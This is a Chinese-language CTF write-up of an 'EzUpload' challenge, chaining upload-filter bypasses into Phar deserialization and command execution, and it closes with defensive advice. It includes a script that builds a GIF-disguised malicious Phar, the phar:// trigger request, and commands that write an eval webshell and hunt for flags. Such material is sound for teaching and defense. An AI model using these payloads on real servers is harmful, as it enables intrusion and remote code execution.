从文件上传到Phar反序列化:实战Web安全攻防与防御策略

发布时间:2026/8/4 10:45:38
从文件上传到Phar反序列化:实战Web安全攻防与防御策略 1. 项目概述一次从文件上传到代码执行的完整攻防演练最近在复盘一场CTF比赛的Web题目题目名字叫“EzUpload”听上去人畜无害但实际走下来却是一个融合了前端绕过、MIME类型校验、Phar反序列化利用的综合性靶场。很多刚接触安全的朋友对文件上传漏洞的理解可能还停留在“传个一句话木马拿Shell”的层面但现实中的防御和绕过往往像一场猫鼠游戏层层加码。这次实战恰恰展示了当常规的.php文件上传路径被彻底堵死时攻击者如何利用PHP的Phar协议和反序列化机制将一张“图片”变成打开服务器大门的钥匙。整个过程就像在解一个结构精密的锁你需要找到每一个脆弱的簧片。这篇文章我就来详细拆解这次从“EzUpload”到获取“Webshell”的完整链条我会把每一步的判断依据、踩过的坑以及最终构造有效载荷的思考过程都摊开来无论你是想入门CTF的新手还是想深化文件上传漏洞理解的同行都能从中找到可复现的路径和避坑指南。2. 靶场环境初探与常规思路碰壁拿到题目首先肯定是信息搜集。访问靶场地址一个典型的文件上传功能界面支持选择文件并上传。前端代码看起来很简单但经验告诉我真正的挑战往往在后端。2.1 前端绕过与基础校验第一关通常是前端校验。我随手传了一个shell.php文件内容是最基础的?php phpinfo();?。点击上传浏览器弹窗提示“文件类型不正确”。打开浏览器开发者工具F12查看上传表单的HTML代码发现input typefile标签上可能有accept属性限制或者有内联的JavaScript进行校验。注意前端校验是防御的第一道也是最弱的一道防线因为它完全在客户端执行可以被轻易绕过。我们的目标不是让它“通过”而是理解它并找到绕过方法。我直接禁用浏览器JavaScript或在开发者工具中覆盖相关校验函数再次上传.php文件。这次请求成功发出但服务器返回了错误“仅允许上传jpg, png, gif格式文件”。这说明前端有JS校验但后端还有更严格的校验逻辑。这是一个好迹象说明题目设计者希望我们绕过更深层的防御。2.2 MIME类型与扩展名绕过尝试既然后端检查扩展名常见的绕过思路有几种双扩展名shell.php.jpg希望后端只检查最后一个扩展名或者解析逻辑有误。大小写绕过shell.PHP、shell.Php针对黑名单且检查不严格的情况。特殊后缀shell.php5、shell.phtml、shell.phps等如果服务器配置了将这些后缀也当作PHP解析的话。修改Content-Type在Burp Suite等代理工具中截获上传请求将Content-Type: application/x-php修改为Content-Type: image/jpeg。我逐一尝试。shell.php.jpg和大小写变种都被后端拒绝返回同样的错误信息。尝试.phtml也被拒绝说明黑名单可能比较全。接着我上传一个正常的test.jpg图片用Burp Suite截获请求将其中的文件名和Content-Type复制出来然后创建一个新的请求将文件内容替换为PHP代码但保持文件名和Content-Type为图片格式。发送请求后服务器返回“上传成功”并给出了文件路径例如/uploads/xxxxxx.jpg。然而当我访问这个路径时浏览器直接显示了PHP代码的文本内容或者提示下载并没有执行。这说明服务器并没有将这个文件当作PHP脚本来解析。这是关键点即使文件成功上传到了服务器并且我们能够访问到它但如果Web服务器如Apache/Nginx没有配置将该文件后缀.jpg当作PHP处理器如mod_php, php-fpm来解析那么其中的PHP代码就只是一段无用的文本。至此常规的文件上传拿Webshell的思路似乎走到了死胡同。题目环境显然做了严格配置确保上传目录下的.jpg、.png等文件不会被解析执行。我们需要换个角度思考。3. 深入利用Phar协议反序列化漏洞挖掘当直接执行代码的路被堵死我们就要寻找“曲线救国”的方法。题目名字叫“EzUpload”但显然不“EZ”提示我们可能存在其他入口点。我重新审视上传功能除了返回文件路径没有其他交互。这时我想到了文件包含File Inclusion漏洞。如果网站其他地方存在文件包含点比如include($_GET[‘file’])我们或许可以包含我们上传的“图片马”即内容包含PHP代码的图片文件。我开始对网站目录进行模糊测试寻找可能的参数如?file、?page、?load等同时也用目录扫描工具寻找其他功能点。但在这个靶场中并没有明显的文件包含漏洞。时间有限必须从已有信息推断。既然上传点是我们唯一的可控输入且我们能控制上传文件的部分内容虽然不能直接执行那么有没有一种方法能让我们上传的文件在某种特定条件下被“触发”执行呢这就是Phar反序列化出场的时候了。PharPHP Archive是PHP的一种打包格式类似于Java的JAR。它可以将多个PHP文件、资源等打包成一个.phar文件。PHP在通过phar://伪协议访问Phar包内的文件时会自动反序列化Phar文件元数据metadata中存储的变量。如果这个metadata是我们可控的并且其中包含了某个类的序列化字符串那么在反序列化时该类的__wakeup()或__destruct()魔术方法就会被自动调用。漏洞链条的关键在于我们能否找到一个触发phar://协议流包装器wrapper的地方即使没有明显的文件包含一些其他函数也可能触发例如file_get_contents(‘phar://./uploads/evil.jpg’)file_exists(‘phar://./uploads/evil.jpg’)md5_file(‘phar://./uploads/evil.jpg’)unlink(‘phar://./uploads/evil.jpg’)甚至是include(‘phar://./uploads/evil.jpg’)如果服务器配置了phar流包装器为可读我需要寻找网站中任何可能接受文件路径作为参数的功能。例如头像显示、文件下载、图片预览等功能其内部实现可能会用上述函数处理我们上传的“图片”路径。我通过观察页面发现上传成功后页面会显示一个图片标签如img src”/uploads/xxxxxx.jpg”。这很常规。但有时后端为了做图片处理如缩放、水印、获取图片信息可能会用getimagesize()、exif_thumbnail()等函数读取图片。这些函数本身不触发Phar但它们表明后端会对文件进行“读取”操作。我决定进行黑盒测试尝试直接利用已知的可能触发点。我构造一个特殊的测试文件上传后通过修改图片的URL尝试用phar://协议去访问它。例如如果图片地址是/showimage.php?imguploads/xxx.jpg我就尝试访问/showimage.php?imgphar://uploads/xxx.jpg/test.txt。在这个靶场中经过一番测试我发现了一个关键点网站存在一个“文件检查”或“属性查看”功能可能来自题目描述或辅助信息该功能会使用file_exists()或is_file()对用户提供的路径进行检查。而这里路径是部分可控的。4. 构造Phar反序列化利用链找到了可能的触发点下一步就是构造一个恶意的Phar文件并将其伪装成图片上传。4.1 分析可利用的类POP链反序列化漏洞要利用光有触发点还不够还需要在目标代码中存在合适的类通常称为“POP链”这些类的魔术方法如__destruct,__wakeup,__toString中包含了危险的操作比如文件写入、命令执行等。在CTF题目中这类类有时会直接给出源码有时需要我们自己从网站文件泄露或代码审计中寻找。在这个“EzUpload”题目中通过访问/index.php~、/.git泄露或直接提供部分源码我找到了一个关键的类EasyExploitclass EasyExploit { public $cmd; function __destruct() { system($this-cmd); } }这简直是一个完美的利用类它的__destruct()方法直接调用了system()函数执行$this-cmd。我们的目标就是构造一个EasyExploit对象的序列化字符串将其放入Phar文件的metadata中然后触发反序列化让__destruct()方法执行我们设定的系统命令。4.2 生成恶意Phar文件我们不能直接在服务器上生成Phar文件所以需要在本地攻击机生成。这里有一个重要技巧Phar文件可以通过添加GIF/JPG文件头来伪装成图片从而绕过上传时的内容检查例如getimagesize()验证。以下是在本地Kali或装有PHP CLI的环境中生成恶意Phar文件的脚本?php // 定义要利用的类必须和靶场中的类定义一致 class EasyExploit { public $cmd id; // 待执行的命令可以先试一个无害的 } // 删除已存在的phar文件避免影响 unlink(evil.phar); // 创建一个新的Phar对象 $phar new Phar(evil.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); // 添加GIF文件头伪装成GIF图片 // 创建要放入phar包内的文件内容这里可以任意 $phar-addFromString(test.txt, test); // 创建我们的恶意对象并序列化后存入metadata $object new EasyExploit(); $object-cmd id; // 首次测试命令 $phar-setMetadata($object); // 将序列化后的对象存入元数据 // 停止缓冲生成phar文件 $phar-stopBuffering(); echo Phar文件 evil.phar 生成成功。\n; ?将上述脚本保存为create_phar.php在命令行执行php create_phar.php。你会得到一个名为evil.phar的文件。用file命令查看它会识别为GIF图像数据因为文件头是GIF89a。我们可以直接将其重命名为evil.jpg。实操心得这里setStub中的GIF89a就是伪装的关键。有些严格的校验不仅检查文件头还会检查文件结构如图片长宽。如果遇到这种情况可以找一个真实的图片用二进制编辑工具将Phar数据附加在图片文件末尾不影响图片正常显示或者使用更复杂的工具如gd库来创建一个包含恶意代码的“真图片”。在这个靶场中简单的文件头绕过就足够了。4.3 上传与触发上传将生成的evil.jpg通过靶场的上传功能上传。由于它有合法的GIF文件头和后缀.jpg通常会通过所有校验上传成功。记下服务器返回的存储路径例如/uploads/abcdefg.jpg。触发找到我们之前发现的可能触发phar://协议的函数调用点。假设触发点是/check.php?filexxxx它内部会调用file_exists()。那么我们构造如下请求GET /check.php?filephar:///var/www/html/uploads/abcdefg.jpg/test.txt HTTP/1.1注意几点phar://是协议头。路径需要是服务器上的绝对路径。我们上传得到的/uploads/abcdefg.jpg通常是Web可访问的相对路径但phar://包装器需要操作系统的文件路径。我们需要猜测或通过报错信息泄露Web根目录常见的是/var/www/html。所以组合起来就是/var/www/html/uploads/abcdefg.jpg。/test.txt是Phar包内的一个虚拟文件路径它必须存在我们在生成Phar时用addFromString创建了它否则协议解析会失败。它可以是任何我们在Phar包内创建的文件名。发送这个请求。如果一切顺利服务器在处理check.php时会尝试检查phar://...这个路径是否存在。为了完成这个检查PHP会解析Phar文件读取其metadata并自动进行反序列化。于是我们埋藏在metadata中的EasyExploit对象被还原其__destruct()方法被调用执行了我们预设的id命令。5. 漏洞利用的深化与Webshell获取首次测试命令id成功执行后响应中可能会看到uid33(www-data) gid33(www-data) groups33(www-data)这样的输出证明反序列化漏洞利用成功并且我们有命令执行权限。5.1 执行复杂命令与获取交互式Shellid命令是无害的探测。接下来我们需要获取一个更便于操作的Webshell。由于是通过HTTP请求触发命令执行的结果通常会直接输出到HTTP响应中。我们可以执行一些命令来探索服务器并写入Webshell。查看当前目录和Web根目录 修改Phar生成脚本中的$object-cmd为pwd ls -la重新生成evil.phar并上传注意文件名会变需要更新触发请求中的路径。触发后查看响应确认网站根目录和文件列表。写入Webshell 最直接的方式是使用echo命令写入一个PHP文件。例如写入一个基础的一句话木马echo ?php eval($_POST[cmd]);? /var/www/html/shell.php但是这里可能会遇到特殊字符如$、在URL和命令行中的转义问题。更可靠的方法是使用base64解码echo PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pgo | base64 -d /var/www/html/shell.php其中PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pgo是?php eval($_POST[cmd]);?的base64编码。将上述命令设置为$object-cmd重新生成Phar文件、上传、触发。成功后访问http://靶场地址/shell.php用蚁剑、冰蝎或直接POSTcmdsystem(‘whoami’);测试即可得到一个功能完整的Webshell。寻找Flag 在CTF中最终目标是找到Flag。通常Flag可能在根目录、Web目录、环境变量或数据库里。通过Webshell可以执行find / -name “*flag*” 2/dev/null、cat /flag、cat /flag.txt等命令来定位和读取。5.2 利用过程中的注意事项与技巧路径问题phar://协议需要文件系统绝对路径而非URL路径。务必准确获取Web根目录的绝对路径。命令执行限制目标服务器可能禁用了一些危险函数如system,exec,shell_exec通过phpinfo()可以查看disable_functions列表。如果system被禁用可以尝试其他函数如passthru()、反引号 、或使用proc_open()、popen()。在我们的例子中EasyExploit类使用了system如果被禁用就需要寻找其他利用链。字符编码与转义在构造命令时注意引号和特殊字符的转义。使用base64编码写入文件是最稳妥的方式之一。Phar文件签名从PHP 8.0开始Phar文件签名验证行为有变化。在生成Phar时如果遇到问题可以尝试使用Phar::setSignatureAlgorithm(Phar::SHA1)来明确指定签名算法。无回显利用有时命令执行没有回显盲注。这时可以通过外带数据DNSLog、HTTP请求来判断命令是否执行或者使用写文件、延时命令sleep 5等方式进行盲测。6. 防御视角与总结反思站在防御者角度这次实战暴露了多层安全风险前端校验不可靠必须依赖后端进行统一的、严格的文件校验。黑名单的局限性永远不要只使用黑名单。应采用白名单机制只允许明确安全的文件类型如图片的确切MIME类型和扩展名。文件存储与访问分离上传的文件不应存储在Web可访问的目录下或者应重命名为随机字符串并去除文件扩展名。可以通过后端脚本读取并返回文件内容避免用户直接访问文件路径。禁用危险函数在php.ini中配置disable_functions关闭如system、exec、passthru、shell_exec等函数。警惕反序列化永远不要反序列化不可信的输入。unserialize()函数应避免用于用户可控数据。对于Phar可以考虑在服务器配置中禁用phar流包装器phar.readonly On且不要设置为Off。最小权限原则运行Web服务的用户如www-data应具有尽可能低的权限避免其能够执行命令或写入关键文件。回过头看“EzUpload”这个题目它巧妙地设置了一个看似简单的文件上传点却通过严谨的后端校验封死了直接上传执行脚本的可能引导攻击者去挖掘更深层的、由其他功能点触发的反序列化漏洞。这种多漏洞串联利用的思路在实际渗透测试中非常常见。对于学习者而言掌握这种“迂回”的攻击思维理解各个漏洞如何像齿轮一样咬合形成完整的攻击链远比只会用自动化工具扫描出一个高危漏洞更有价值。我自己在反复测试路径触发点时也花了大量时间这提醒我们耐心和细致的观察往往是突破的关键。最后拿到Webshell不是终点清晰的渗透路径和扎实的原理理解才是这场游戏带给我们的真正收获。